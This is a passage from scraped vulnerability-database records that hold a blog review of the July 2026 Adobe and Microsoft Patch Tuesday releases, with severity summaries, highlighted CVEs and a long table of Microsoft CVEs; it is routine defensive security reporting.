couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:03:55.016876Z"}, {"uuid": "a2d1d25a-a2f8-4a0e-8f3e-4f133b0d1a0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54129", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n 